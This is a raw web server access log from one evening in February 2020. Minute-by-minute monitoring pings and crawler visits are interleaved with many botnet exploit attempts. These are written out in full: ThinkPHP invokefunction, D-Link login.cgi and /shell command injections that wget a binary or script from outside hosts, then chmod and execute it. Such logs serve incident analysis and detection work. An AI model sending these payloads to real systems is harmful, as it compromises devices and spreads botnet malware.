212.85.91.19 - - [13/Feb/2020:20:54:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:20:54:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.105.52 - - [13/Feb/2020:20:55:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:20:55:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:56:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:20:57:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.158.95.4 - - [13/Feb/2020:20:58:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:58:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.85 - - [13/Feb/2020:20:58:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.48 - - [13/Feb/2020:20:58:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
211.192.224.217 - - [13/Feb/2020:20:59:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [13/Feb/2020:20:59:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:20:59:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.79.249 - - [13/Feb/2020:20:59:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
74.80.24.8 - - [13/Feb/2020:21:00:12 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:21:00:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.173.27.154 - - [13/Feb/2020:21:01:16 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:21:01:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.52.24.163 - - [13/Feb/2020:21:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
2.132.54.238 - - [13/Feb/2020:21:02:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.43.242 - - [13/Feb/2020:21:05:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.141.21.204 - - [13/Feb/2020:21:06:13 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:21:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:07:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:08:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:09:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:10:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.35.228.234 - - [13/Feb/2020:21:10:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:21:11:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:12:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:13:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:14:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.43.201.154 - - [13/Feb/2020:21:15:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:21:15:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.127.24.119 - - [13/Feb/2020:21:16:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:21:16:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:18:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:19:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:20:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.183 - - [13/Feb/2020:21:20:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:21:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.160.50 - - [13/Feb/2020:21:22:13 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [13/Feb/2020:21:22:13 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.119.160.50 - - [13/Feb/2020:21:22:14 +0100] "GET / HTTP/1.1" 200 1229 "https://fit-discount.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
212.91.246.72 - - [13/Feb/2020:21:22:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:23:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.54.238 - - [13/Feb/2020:21:24:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:24:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [13/Feb/2020:21:25:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:21:25:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:26:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:27:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:28:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.39 - - [13/Feb/2020:21:28:57 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.39 - - [13/Feb/2020:21:28:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
186.250.19.4 - - [13/Feb/2020:21:29:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
186.250.19.4 - - [13/Feb/2020:21:29:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:21:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.236.27.124 - - [13/Feb/2020:21:30:21 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:21:30:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:32:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:33:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.73.136 - - [13/Feb/2020:21:33:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:34:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.124.39 - - [13/Feb/2020:21:34:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.48.111.89 - - [13/Feb/2020:21:35:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:21:35:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.183.120.41 - - [13/Feb/2020:21:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
2.183.120.41 - - [13/Feb/2020:21:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:21:36:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.98.202 - - [13/Feb/2020:21:37:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:38:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:39:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:40:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.28.164.191 - - [13/Feb/2020:21:41:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:21:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.82.214 - - [13/Feb/2020:21:42:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:43:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:45:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [13/Feb/2020:21:46:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:47:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:48:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:49:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:50:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.12.124.252 - - [13/Feb/2020:21:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:21:51:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.51.245 - - [13/Feb/2020:21:53:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:53:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.229.133 - - [13/Feb/2020:21:53:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:55:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.84.236 - - [13/Feb/2020:21:56:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:21:56:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [13/Feb/2020:21:56:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [13/Feb/2020:21:57:06 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [13/Feb/2020:21:57:20 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
121.178.8.198 - - [13/Feb/2020:21:57:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:21:57:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [13/Feb/2020:21:57:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [13/Feb/2020:21:57:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [13/Feb/2020:21:57:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
83.97.20.33 - - [13/Feb/2020:21:58:02 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
121.178.8.198 - - [13/Feb/2020:21:58:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
83.97.20.33 - - [13/Feb/2020:21:58:17 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [13/Feb/2020:21:58:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:21:59:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:01:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [13/Feb/2020:22:02:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:22:02:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:22:02:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [13/Feb/2020:22:02:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:22:02:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [13/Feb/2020:22:03:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:22:03:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:04:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:22:05:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.65.103 - - [13/Feb/2020:22:05:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:22:06:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.196.76.30 - - [13/Feb/2020:22:07:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
